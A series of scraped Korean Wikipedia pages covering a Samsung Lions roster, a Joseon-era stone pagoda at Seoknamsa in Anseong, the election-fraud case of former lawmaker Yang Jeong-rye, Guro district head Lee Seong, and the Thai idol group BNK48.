44 문용익 45 권오준 46 박세웅 48 김시현 49 김용하 51 최충연 54 김태우 56 최채흥 57 임현준 60 김승현 61 이수민 102 이재익 103 김윤수 106 박용민 109 맹성주 111 김동찬 113 안도원 포수 12 김민수 47 강민호(주장) 52 김응민 68 서주원 112 최종현 114 채상준 내야수 4 김성훈 6 손주인 7 김상수 8 김호재 14 박계범 16 이원석 23 김재현 32 최영진 41 백승민 50 러프 62 공민규 63 윤정빈 66 이태훈 101 김태수 105 곽경문 115 김선우 117 김성표 외야수 9 박찬도 24 김기환 31 이현동 34 김헌곤 37 황선도 38 김동엽 55 이성곤 58 박해민 59 최선호 64 송준석 65 구자욱 군입대 선수 강한울 구준범 권정웅 김결의 김성윤 김성한 남기효 심창민 안주형 윤대경 윤영수 임대한 이성규 최민구 2019년 신인지명 선수 46 원태인(1차지명) 53 이학주(2차 1라운드 지명) 42 김도환(2차 2라운드 지명) 3 양우현(2차 3라운드 지명) 28 이병헌(2차 4라운드 지명) 30 오상민(2차 5라운드 지명) 104 김준우(2차 6라운드 지명) 108 서장민(2차 7라운드 지명) 116 이해승(2차 8라운드 지명) 118 박승규(2차 9라운드 지명) 120 김연준(2차 10라운드 지명) 이 글은 야구에 관한 토막글입니다. 여러분의 지식으로 알차게 문서를 완성해 갑시다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=양창섭&oldid=24458787" 분류: 1999년 태어남살아있는 사람서울특별시 출신KBO 리그 투수삼성 라이온즈 선수서울녹천초등학교 동문청량중학교 (서울) 동문덕수고등학교 동문숨은 분류: 야구에 관한 토막글큰 토막글 문서모든 토막글 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 6월 21일 (금) 08:49에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
안성 석남사 석탑 - 위키백과, 우리 모두의 백과사전 안성 석남사 석탑 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 석남사석탑 안성시의 향토유적 종목 향토유적 제19호 (1986년 5월 22일 지정)수량 2기시대 조선시대소유 석남사위치 안성 석남사주소 경기도 안성시 금광면 상촌새말길 3-120좌표 북위 36° 56′ 22″ 동경 127° 18′ 24″ / 북위 36.93944° 동경 127.30667°  / 36.93944; 127.30667좌표: 북위 36° 56′ 22″ 동경 127° 18′ 24″ / 북위 36.93944° 동경 127.30667°  / 36.93944; 127.30667 안성 석남사 석탑은 경기도 안성시 금광면 상촌새말길 3-120, 석남사에 있는 석탑이다. 1986년 5월 22일 안성시의 향토유적 제19호로 지정되었다. 목차 1 개요 2 원 소재지 3 같이 보기 4 각주 5 참고 자료 개요[편집] 석남사 영산전 좌측에 동서 2기의 석탑이 나란히 건립되어 있는데, 조선시대 조성된 것으로 추정된다. 양 탑의 현재 위치가 원위치인지는 알 수 없으며, 우측의 동탑은 탑신부에 감실이 모각되어 있다. 1매의 판석으로 지대를 마련했는데, 1단의 괴임 위에 기단부를 떠받들고 있다. 기단은 양우주를 가는 선각으로 조출하고 갑석을 놓았는데, 부연도 없고 상면의 탑신부 괴임대도 없는 평평한 판석으로 이루어졌다. 탑신은 옥신과 옥개석이 각기 1석씩 조성되었으며, 각 면에는 양우주가 정연하고, 1층 옥신만은 1면에 장방형의 감실이 마련되어 있다. 한편, 좌측의 석탑은 1매의 판석 지대석에 3단 괴임을 각축하고, 네 귀에 우주를 새긴 기단부를 받고 있다. 옥신과 옥개석은 각 1석씩 조성되어 있으며, 1층 옥개석은 모두 아래부분에 3단 혹은 2단씩의 받침이 마련되었다. 원 소재지[편집] 이 석탑은 처음부터 이곳에 있었던 것은 아니고, 절 아래 따로 세워져 있던 것을 1970년대 석남사로 이전하여 세운 것으로 향토문화재로 지정되었다.[1] 같이 보기[편집] 안성 석남사 각주[편집] ↑ 최우성 기자 (2017년 7월 8일). “[화보] 도깨비 절로 유명한 안성 석남사”. 《신한국문화신문》. 2017년 7월 8일에 확인함.  참고 자료[편집] 석남사석탑 - 안성 문화관광 - 시지정문화재 원본 주소 "https://ko.wikipedia.org/w/index.php?title=안성_석남사_석탑&oldid=19044649" 분류: 안성시의 향토유적조선의 석탑숨은 분류: 위키데이터에 없는 좌표 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2017년 7월 8일 (토) 22:28에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
양정례 - 위키백과, 우리 모두의 백과사전 양정례 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 양정례梁貞禮 前 대한민국 국무총리 비서실 행정공보특보보좌관 (前 大韓民國 國務總理 秘書室 行政公報特報秘書官) 임기 2007년 8월 5일 ~ 2007년 9월 15일 대통령 노무현 총리 한덕수 차관 윤후덕 (국무총리 비서실 실장) 전임 장영신 신상정보 국적 대한민국 출생일 1977년 5월 7일(1977-05-07) (42세) 본관 남원(南原) 학력 연세대 법무대학원 경력 새시대 새물결 운동본부 여성청년위원회 간사 사단법인 건풍사회복지회 연구관 한나라당 시민자치행정특보위원 친박연대 시민지방자치행정촉탁위원 친박연대 행정연구위원 前 제18대 초선 친박연대 비례대표 국회의원 정당 무소속 부모 김순애(모) 양정례(梁貞禮, 1977년 5월 7일 ~ )는 대한민국 국회의원 당선 취소자이다. 그녀는 2006년 12월에서 2007년 5월까지 한나라당 시민자치행정특보위원을 지내다가 사퇴 및 탈당 이후 2008년 제18대 국회의원 선거에서 친박연대 비례대표 1번으로 당선되었으며, 이는 만 31살로서 18대 국회의원 중 최연소였다.[1] 그러나 당선과 동시에 선거 관련 비리가 드러나 당선이 취소되었다. 목차 1 이력 2 학력 3 재판 4 참고 자료 5 발언 모음 6 같이 보기 7 각주 이력[편집] 안양대학교 관광경영학과를 나왔으며 연세대학교 법무대학원에서 경영법무 전공으로 석사학위를 취득했다.[2] 선관위에 제출된 경력은 '새시대 새물결 운동본부' 여성청년 간사, 사단법인 건풍사회복지회 연구관을 지낸 것이다. 하지만, 양정례의 어머니 김순애(건풍건설을 운영하는 재력가)가 이 두 단체의 공동의장과 이사장직을 맡고 있고, '새시대 새물결 운동본부'는 사실상 박근혜 前 한나라당 대표를 지지하는 전국조직이며, 건풍사회복지회는 어린이집 위탁운영 외에 어떤 사회복지사업을 해왔는지는 알려지지 않고 있는 등, 뚜렷한 사회활동이나 정치경력이 없는 것으로 알려져 비례대표 1번으로 선정된 것에 대한 의문이 제기되었다.[3][4] 따라서, 비례대표 공천 과정에서 거액의 특별당비를 납부했다는 의혹과 관련하여 검찰의 수사를 받았고,[5] 검찰에서는 공천의 대가가 17억원이라 판단하여[6] 서울중앙지방검찰청 공안1부가 어머니 김순애에 대해 2008년 5월 1일 사전 구속영장을 청구했으나 서울중앙지방법원 홍승면 영장전담 부장판사는 5월 2일 "피의자의 주거가 일정하고 현재까지 수집된 증거자료와 수사에 임하는 태도 등에 비춰 볼 때 증거를 인멸하거나 도주할 염려가 있다고 보기 어렵다"고 하면서 영장을 기각하면서 "친박연대의 당헌·당규상 당비와 관련한 제한 규정이 없고 당비의 상한 금액에 대한 법률상의 제한규정도 없다"며 "피의자는 친박연대의 요청에 따라 친박연대가 중앙선거관리위원회에 당의 공식 수입계좌로 신고한 금융계좌에 실명으로 송금했던 점을 고려했다"고 했다.[7][8] 이에 대해 친박연대는 과잉수사라며 반발했다.[9] 양정례는 검찰 수사 과정에서 강압 수사를 받았다고 폭로했으나 검찰 측은 근거 없는 폭로라고 일축했다.[10] 검찰에서는 보강 수사를 실시한 이후 "김순애가 3월25일 서청원 대표 등 당 관계자들과 만난 뒤 급하게 회사 운영자금 명목으로 20억 원을 대출받았으며 3일 뒤인 28일 이 중 14억원을 친박연대 계좌에 입금한 정황을 포착했다"고 하면서[11] 영장을 재청구하기로 하였다.[12] 5월 20일에 구속영장을 다시 청구한 검찰은 "자신과 딸을 서청원 대표에게 소개해 준 서울 동작갑 출마자 손상윤이 7천만원을 요구하자 김순애가 기부한도(500만원) 규정을 피해 가족들 이름으로 1천500만원을 손상윤의 후원 계좌로 보내준 사실을 새로 밝혔다"고 하면서 공천 대가성의 정황 증거로 영장 청구서에 포함시키면서 양정례를 모친인 김순애의 공범으로 영장에 적시했다[13] 서울중앙지법 영장전담 김용상 부장판사는 5월 22일 "김순애의 경우 추가된 비리 사실을 포함해 재청구 이유를 심문한 결과로 비춰볼 때 피의자가 증거인멸 도망 우려있다고 보기 어렵고 대가성 부분은 판단이 없다"며 영장을 기각했다.[14] 2008년 8월, 선관위와 경실련에 따르면 양정례는 후보자 재산신고 때 토지와 건물 등 부동산 13억원을 누락한 것으로 알려졌다.[15] 결국 양정례는 2009년 5월 14일 선거법 관리위반 등의 혐의로 재판에 회부되어 징역 10개월에 집행유예 2년을 선고받아 의원직이 박탈되었다. 학력[편집] 안양대학교 관광경영학과 학사 연세대학교 대학원 행정학 석사 연세대학교 법무대학원 법학석사 재판[편집] 2008년 8월 14일, 서울중앙지방법원은 양정례 의원에 대해 공직선거법 위반 혐의를 적용, 징역 10월, 집행유예 2년을 선고했다[16]. 이후 대법원에서 이를 확정하여 양정례는 의원직을 상실하였다. 양정례는 지역구가 아닌 전국구의 신분으로 출마하였으므로 의원직은 승계될 수 없었고 따라서 재선거 없이 친박연대는 의원의 의석숫자가 줄어들게 되었다. 그러나 후에 헌법재판소가 비례대표의 선거범죄 시 후임자 승계 불가 조항에 대하여 위헌 판결하자 친박연대는 소급 적용 받아서 후임 3명을 국회에 보내게 되었다. 참고 자료[편집] 구영식 (2008년 4월 7일). “친박연대 비례대표 1번 '수상하다'”. 오마이뉴스. 2008년 4월 10일에 확인함.  발언 모음[편집] “ 제 개인적으로 달러 동전이 500달러 정도 있는데 범 국민적으로 달러 모으기 행사를 진행하는 게 어떠냐?[17] ” 같이 보기[편집] 비례대표 공천헌금 사건 각주[편집] ↑ 한편, 역대 최연소 국회의원은 1954년도 당시 만 25살이던 김영삼 前 대통령이 기록하였다. ↑ 하어영 (2008년 4월 15일). “양정례 당선자 “사회복지 전문가”라더니…경력·학력 복지 무관”. 한겨레. 2008년 4월 15일에 확인함.  ↑ 임용빈 (2008년 4월 14일). “양정례 당선자 어머니,김순애씨는 누구인가?”. 투데이포커스. 2008년 5월 18일에 확인함.  ↑ 조철희 (2008년 4월 12일). “최연소 당선자 양정례, 학력·경력 의혹”. 머니투데이. 2008년 5월 18일에 확인함.  ↑ “검찰, ‘양정례 당선자 의혹’ 본격 수사”. 한겨레 (연합뉴스 인용). 2008년 4월 15일. 2008년 5월 17일에 확인함.  ↑ 이상언·정효식 (2008년 5월 2일). “검찰 ‘17억원 주고 공천 딴 거래’ 판단”. 중앙일보. 2008년 5월 18일에 확인함.  ↑ 양정례 모친 김순애씨 구속영장 기각 ↑ “양정례 어머니 김순애씨 구속영장 기각”. 한겨레 (연합뉴스 인용). 2008년 5월 2일. 2008년 5월 18일에 확인함.  ↑ “친박연대 '양정례 수사' 검찰 항의방문”. 조선일보 (연합뉴스 인용). 2008년 5월 16일. 2008년 5월 19일에 원본 문서에서 보존된 문서. 2008년 5월 17일에 확인함.  ↑ 차대운 (2008년 5월 9일). “검찰 "양정례 모녀 수사 녹음녹화 돼있다"”. 연합뉴스. 2008년 5월 17일에 확인함. [깨진 링크(과거 내용 찾기)] ↑ 檢, 양정례 모친 긴급 거액대출 정황 포착…영장 재청구 검토 ↑ 정원수 (2008년 5월 12일). “검찰, 양정례씨 어머니 영장 주내 재청구”. 동아일보. 2008년 5월 18일에 확인함.  ↑ 공천 의혹' 양정례母ㆍ김노식 당선자 영장(종합) ↑ [1] ↑ 양정례의원, 후보 재산신고때 13억 누락 Archived 2008년 3월 27일 - 웨이백 머신 매일경제, 2008년 8월 5일 ↑ 류정 (2008년 8월 15일). “서청원씨 1년6월, 양정례씨 집행유예 선고”. 조선일보. 2008년 8월 16일에 확인함.  ↑ 경제위기 괴담이라더니, 국민에 달러 구걸? 《오마이뉴스》, 2008년 10월 8일 vdeh친박연대(2010년 2월 12일 미래희망연대라 당명 개칭 후 2011년 2월 2일 한나라당(훗날 2012년 2월 13일 새누리당으로 당명 개칭)과 합당) 제18대 국회의원 비례대표2008년 5월 30일 ~ 2012년 5월 29일 1번 양정례¹ 7번 정영희 2번 서청원¹ 8번 노철래 3번 김노식¹ 9번 김혜성² 4번 송영선 10번 윤상일² 5번 김을동 11번 김정² 6번 정하균 ¹ 당선무효      ² 승계 원본 주소 "https://ko.wikipedia.org/w/index.php?title=양정례&oldid=24450777" 분류: 대한민국의 제18대 국회의원1977년 태어남살아있는 사람안양대학교 동문대한민국의 별정직공무원노무현 정부이명박 정부박근혜 정부연세대학교 대학원 동문연세대학교 법무대학원 동문대한민국의 여자 국회의원대한민국의 사회 운동가미래희망연대박근혜남원 양씨 (梁)친박옛 자유한국당의 정치인바른미래당의 정치인숨은 분류: 깨진 링크를 가지고 있는 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 6월 19일 (수) 18:45에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
이성 (1956년) - 위키백과, 우리 모두의 백과사전 이성 (1956년) 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 이성 대한민국의 서울특별시 구로구청장 임기 2010년 7월 1일 ~ 현재 전임 양대웅 신상정보 출생일 1956년 11월 1일(1956-11-01) (62세) 출생지 대한민국 경상북도 문경 학력 텍사스 대학교 대학원 정당 더불어민주당 배우자 홍현숙 자녀 4남 웹사이트 이성 - 트위터 군사 경력 군복무 육군 중위 예편 이성(李星, 1956년 11월 1일 ~ )은 대한민국의 공무원, 정치인이다. 행정고시에 합격하여 공직을 시작했고, 민선 5·6·7기 서울 구로구청장이다. 목차 1 학력 2 경력 3 수상 4 역대 선거 결과 5 외부 링크 학력[원본 편집] 안암초등학교 홍익대학교 부속중학교 덕수상업고등학교 졸업 고려대학교 법과대학 행정학 학사 육군보병학교 수료 텍사스대학교 대학원 행정학 석사 경력[원본 편집] 1980년 제24회 행정고시 합격 1988년 서울 올림픽 홍보계장 1994년 청와대 비서실 행정관 2000년 서울특별시 시정개혁단 단장 2002년 구로구 부구청장 2008년 서울특별시 경쟁력강화본부 본부장 2009년 서울특별시 감사관 2010년 민선5기 서울특별시 구로구청장 2014년 민선6기 서울특별시 구로구청장 수상[원본 편집] 1999년 월간 문학세계 신인문학상 1999년 녹조근정 훈장 2005년 세계평화미술대전 특선 2010년 칭찬합시다 운동중앙회 자랑스러운 칭찬 주인공 역대 선거 결과[원본 편집] 선거 대수 직책 선거구 정당 득표수 득표율 순위 당락 비고 지방 선거 17대 구청장 서울 구로구 민주당 105,544 표 54.26% 1위 초선, 민선 5기 지방 선거 18대 구청장 서울 구로구 새정치민주연합 127,829 표 60.84% 1위 재선, 민선 6기 지방 선거 19대 구청장 서울 구로구 더불어민주당 131,231 표 63.2% 1위 3선, 민선 7기 외부 링크[원본 편집] 이성 - 트위터 전임양대웅 제17·18·19대 서울특별시 구로구청장2010년 7월 1일 ~ 후임(현직) 원본 주소 "https://ko.wikipedia.org/w/index.php?title=이성_(1956년)&oldid=24222564" 분류: 서울안암초등학교 동문홍익대학교 사범대학 부속중학교 동문1956년 태어남살아있는 사람덕수상업고등학교 동문고려대학교 동문대한민국 육군 중위대한민국의 지방자치단체장문경시 출신육군공병학교 동문육군보병학교 동문육군포병학교 동문텍사스 대학교 오스틴 동문민주당 (대한민국, 1991년) 당원민주당 (대한민국, 1995년) 당원민주당 (대한민국, 2008년) 당원민주당 (대한민국, 2011년) 당원친문더불어민주당 당원육군 학사장교 동문 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기원본 편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2019년 5월 14일 (화) 22:21에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
BNK48 - 위키백과, 우리 모두의 백과사전 BNK48 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 BNK48 2017년 9월 1일, JAPAN EXPO IN THAILAND 기본 정보 국가 태국 결성 지역 태국 방콕 장르 J-pop, T-pop 활동 시기 2017년 2월 12일 ~ 현재 소속사 BNK48 OFFICE 웹사이트 BNK48 공식 홈페이지 구성원 팀BIII, 연구생 이전 구성원 전 멤버 BNK48(비엔케이포티에이트)는 태국의 방콕을 중심으로 활동하는 여성 아이돌 그룹이다. 목차 1 개요 2 내력 3 멤버 3.1 팀BIII 3.2 연구생 3.2.1 1기생 3.2.2 2기생 3.3 전 멤버 4 디스코그래피 4.1 싱글 4.2 착신 악곡 4.3 앨범 5 관련 항목 6 각주 7 외부 링크 개요[편집] AKB48의 자매 그룹의 하나이다. 종합 프로듀스는 AKB48와 함께 아키모토 야스시가 맡았다. 내력[편집] 2016년 3월 26일, 요코하마 스타디움에서 열린 다카하시 미나미 졸업 관련 AKB48 단독 콘서트 석상에서 중화민국의 타이베이 시에 본사를 둔 TPE48, 필리핀의 마닐라에 본사를 둔 MNL48와 함께 공식 활동을 개시하는 일이 발표됐다. 공식 사이트에서는 그룹 칼라에 대해서 특산의 망고를 기조로 한 그라데이션을 채용했다[1][2]. 2017년 2월 12일, 방콕에서 행해진 〈JAPAN EXPO THAILAND 2017〉의 석상에서 1기생 29명 피로연. 동년 4월 13일, AKB48의 이즈타 리나가 이적 가입하는 것을 발표하였다[3]. 멤버[편집] 팀BIII[편집] 츠쁘랑 아리꾼 (츠쁘랑) (เฌอปราง อารีย์กุล; เฌอปราง) - 캡틴 낫루짜 추띠완소폰 (깨우) (ณัฐรุจา ชุติวรรณโสภณ; แก้ว) - 최연장자 이즈타 리나 (이즈리나) (รินะ อิซึตะ; อิซึรินะ) - 유일한 일본인 오쿠보 미오리 (미오리) (มิโอริ โอคุโบะ; มิโอริ) - 유일한 일본인 사위차야 카쫀룽신 (삿찬) (สวิชญา ขจรรุ่งศิลป์; ซัทจัง) - 최연소, 유일한 일본인 (본명 : 하나미 사치야 (花見咲知弥)), 태국-일본 혼혈 핌라팟 파둥와타나촉 (모바일) (พิมรภัส ผดุงวัฒนะโชค; โมบายล์) 나빠팟 워라프르타논 (짜) (ณปภัช วรพฤทธานนท์; จ๋า) 꾼찌라낫 인타라신 (제인) (กุลจิราณัฐ อินทรศิลป์; เจน) 제니스 오프라슷 (제니스) (เจนนิษฐ์ โอ่ประเสริฐ; เจนนิษฐ์) 수차야 샌콧 (찝) (สุชญา แสนโคต; จิ๊บ) 와라타야 디솜릇 (카이묵) (วรัทยา ดีสมเลิศ; ไข่มุก) 꼬라팟 닌쁘라파 (케이트) (กรภัทร์ นิลประภา; เคท) 와투시리 푸와빤야시리 (꼰) (วฑูศิริ ภูวปัญญาสิริ; ก่อน) 빠니사 시라릉 (마일드) (ปณิศา ศรีละเลิง; มายด์) 프래와 수탐퐁 (뮤직) (แพรวา สุธรรมพงษ์; มิวสิค) 밀린 독티안 (남능) (มิลิน ดอกเทียน; น้ำหนึ่ง) 피차야파 나타 (남사이) (พิชญาภา นาถา; น้ำใส) 깐티라 와차라타사나꾼 (느이) (กานต์ธีรา วัชรทัศนกุล; เนย) 팟차난 찌아찌라촛 (온) (พัศชนันท์ เจียจิรโชติ; อร) 빤시꼰 띠야꼰 (빤) (ปัญสิกรณ์ ติยะกร; ปัญ) 찌라다파 인타짝 (뿌뻬) (จิรดาภา อินทจักร; ปูเป้) 이사라파 타왓팍디 (따완) (อิสราภา ธวัชภักดี; ตาหวาน) 연구생[편집] 1기생[편집] 마난야 꼬쭈 (닝) (มนัญญา เกาะจู; นิ้ง) 린라다 인타이송 (삐암) (รินรดา อินทร์ไธสง; เปี่ยม) - 현재, 활동중단 2기생[편집] 뿐야위 쯩짜른 (옴) (ปุณยวีร์ จึงเจริญ; ออม) - 최연장자 와린랏 욘쁘라송 (니키) (วรินท์รัตน์ ยลประสงค์; นิกี้) - 최연소 까몬티다 롯타위니티 (위우) (กมนธิดา โรจน์ทวีนิธิ; วิว) 짜니사따 딴시리 (뱀부) (จณิสตา ตันศิริ; แบมบู) 나와폰 짠숙 (케이크) (นวพร จันทร์สุข; เค้ก) 핌니파 땅사꾼 (디니) (พิมพ์นิภา ตั้งสกุล; ดีนี่) - 2019년 8월 11일 졸업예정 수미뜨라 두앙깨우 (파이) (สุมิตรา ดวงแก้ว; ฝ้าย) 빠위티다 사꾼삐팟 (피파) (ปวีณ์ธิดา สกุลพิพัฒน์; ฟีฟ่า) 낫티차 짠타라와리레카 (폰드) (ณัฐทิชา จันทรวารีเลขา; ฟ้อนด์) 낫타꾼 핌통차이꾼 (찌찌) (ณัฐกุล พิมพ์ธงชัยกุล; จีจี้) 플른피차야 꼬말라라춘 (주네) (เพลินพิชญา โกมลารชุน; จูเน่) 마니파 루빤야 (카민) (มณิภา รู้ปัญญา; ขมิ้น) 쭈타맛 콘타 (켕) (จุฑามาศ คลทา; เข่ง) 마이라 쿠야마 (마이라) (มะอิระ คูยามา; มัยร่า) 난나팟 릇남츳사꾼 (뮤닉) (นันท์นภัส เลิศนามเชิดสกุล; มิวนิค) 라차야 탑쿠나논 (민민) (รชยา ทัพพ์คุณานนต์; มินมิน) 까위사라 싱쁠롯 (마이유) (กวิสรา สิงห์ปลอด; มายยู) 두시따 끼띠사라꾼차이 (내터린) (ดุสิตา กิติสาระกุลชัย; แนทเธอรีน) 찬야팍 눔쁘라솝 (뉴) (ชัญญาภัค นุ่มประสพ; นิว) 팟타라나린 므안릿 (나이) (ภัทรนรินทร์ เหมือนฤทธิ์; นาย) 낫차 끄리스다시마 (움) (ณัชชา กฤษฎาสิมะ; อุ้ม) 파콴 노이짜이분 (파콴) (พาขวัญ น้อยใจบุญ; พาขวัญ) 찌다파 챔초이 (팬다) (จิดาภา แช่มช้อย; แพนด้า) 시리깐 친나왓수완 (팍콤) (สิริการย์ ชินวัชร์สุวรรณ; ผักขม) 라따 친끄라짱낏 (라따) (รตา ชินกระจ่างกิจ; รตา) 따리사 쁘리차땅낏 (사땅) (ตริษา ปรีชาตั้งกิจ; สตางค์) 위라야 짱 (위) (วีรยา จาง; วี) 전 멤버[편집] 왓사몬 퐁와닛 (킷캣) (วรรษมณฑ์ พงษ์วานิช; คิตแคต) 1기생. 2017년 9월 23일 졸업. 아이라다 타왓퐁시 (신신) (ไอรดา ธวัชผ่องศรี; ซินซิน) 1기생. 2017년 11월 18일 졸업. 크리스틴 라센 (남홈) (คริสติน ลาร์เซ่น; น้ำหอม) 1기생. 2018년 2월 12일 졸업. 쩻수파 크르아땡 (짼) (เจตสุภา เครือแตง; แจน) 1기생. 팀BIII. 2018년 2월 28일 졸업. 나이까 시니안 (캔) (นายิกา ศรีเนียน; แคน) 1기생. 팀BIII. 2018년 8월 26일 졸업. 메사 찌나위짜라나 (메사) (เมษา จีนะวิจารณะ; เมษา) 1기생. 연구생. 2018년 10월 31일 졸업. 디스코그래피[편집] 싱글[편집] 매 발매일 타이틀 발매 형태 레코드 No: 비고 BNK48 OFFICE 레이블 1 2017년 7월 6일2017년 8월 8일2017년 8월 9일 Aitakatta (อยากจะได้พบเธอ) Digital DownloadCDDigital Download 단곡 착신-싱글 착신 2 2017년 11월 21일2017년 12월 15일2017년 12월 20일 Koisuru Fortune Cookie (คุกกี้เสี่ยงทาย) Digital DownloadDigital DownloadCD 단곡 착신싱글 착신- 3 2018년 3월 29일2018년 5월 7일2018년 5월 7일2018년 5월 7일 Shonichi (วันแรก) Digital DownloadDigital DownloadCDCD --TYPE ATYPE B 단곡 착신싱글 착신-- 4 2018년 9월 21일2018년 9월 28일 Kimi wa Melody (เธอคือ...เมโลดี้) Digital DownloadCD 싱글 착신- 5 2018년 12월 14일2018년 12월 18일2018년 12월 18일 BNK Festival Digital DownloadCDMusic Card 싱글 착신Limited EditionMusic Card Edition 6 2019년 3월 15일2019년 3월 26일 Beginner Digital DownloadCD 싱글 착신- 착신 악곡[편집] 매 발매일 타이틀 발매 형태 비고 BNK48 OFFICE 레이블 1 2018년 3월 28일 Anata to Christmas Eve Digital Download 선행 착신 2 2018년 5월 21일 RIVER Digital Download 앨범[편집] 매 발매일 타이틀 발매 형태 레코드 No: 비고 BNK48 OFFICE 레이블 1 2018년 8월 4일2018년 8월 20일 RIVER CD+DVDDigital Download 2 2019년 미정 Jabaja 관련 항목[편집] 일본 자매 그룹 AKB48 SKE48 NMB48 HKT48 NGT48 STU48 일본 해외 자매 그룹 JKT48 MNL48 AKB48 Team SH AKB48 Team TP SGO48 CGM48 DEL48 MUB48 각주[편집] ↑ “대만 필리핀 태국에서 새로운 자매 그룹 출범!”. AKS. 2016년 3월 27일에 확인함.  ↑ “AKB 해외 3그룹 시동을 발표”. 《데일리 스포츠》. 2016년 3월 27일. 2016년 3월 27일에 확인함.  ↑ “AKB 이즈타 리나가 BNK에 「톱스타가 되다」”. 《nikkansports.com》 (일간스포츠 신문사). 2017년 4월 13일. 2017년 4월 13일에 확인함.  외부 링크[편집] (태국어/영어) BNK48 공식 홈페이지 (태국어) BNK48 - 페이스북 (태국어/영어) BNK48 - 인스타그램 (태국어) BNK48 - 트위터 (태국어/영어) BNK48 공식 유튜브 채널 vdehAKB48 그룹그룹활동 중일본 AKB48 SKE48 NMB48 HKT48 NGT48 STU48 일본 국외 JKT48 BNK48 MNL48 AKB48 Team SH AKB48 Team TP SGO48 CGM48 DEL48 MUB48 해체 SDN48 TPE48 MUM48 관련 그룹 OJS48 이벤트 · 활동 · 매체 AKB48 그룹 리퀘스트 아워 「누군가를 위해서」 프로젝트 AKB48 그룹 드래프트 회의 레낫치 총선거 AKB48 꿈의 홍백 선발 AKB48 선발 총선거 제1회 제2회 제3회 제4회 제5회 제6회 제7회 제8회 제9회 제10회 AKB48 그룹 가위바위보 대회 제1회 제2회 제3회 제4회 제5회 제6회 제7회 유닛 제2회 유닛 출연예능 AKBINGO! AKB48 SHOW! PRODUCE 48 드라마 마지스카 학원 시리즈 1 2 3 4 5 카바스카 학원 마지무리 학원 AKB 호러나이트 아드레날린의 밤 AKB 러브나이트 사랑공장 두부 프로레슬링 영화 9개의 창문 타이업 AKB49: 연애금지조례 SASHIKO + 48GROUP 4컷 극장 욘바치+ CR 파친코 AKB48 AKB1/149 연애총선거 파치슬로 AKB48 AKB48 그룹 드디어 공식 리듬 게임 나왔습니다. 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SNH48 사카미치 시리즈 아이즈원 각종 목록 AKB48의 관련 작품 AKB48의 음반 외 활동 목록(일본어판, 일본어판) 그 외 카미7(일본어판) 원본 주소 "https://ko.wikipedia.org/w/index.php?title=BNK48&oldid=24456686" 분류: BNK48태국의 음악 그룹태국의 걸 그룹2017년 결성된 음악 그룹2017년 데뷔10인조 이상 음악 그룹2010년대 음악 그룹 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 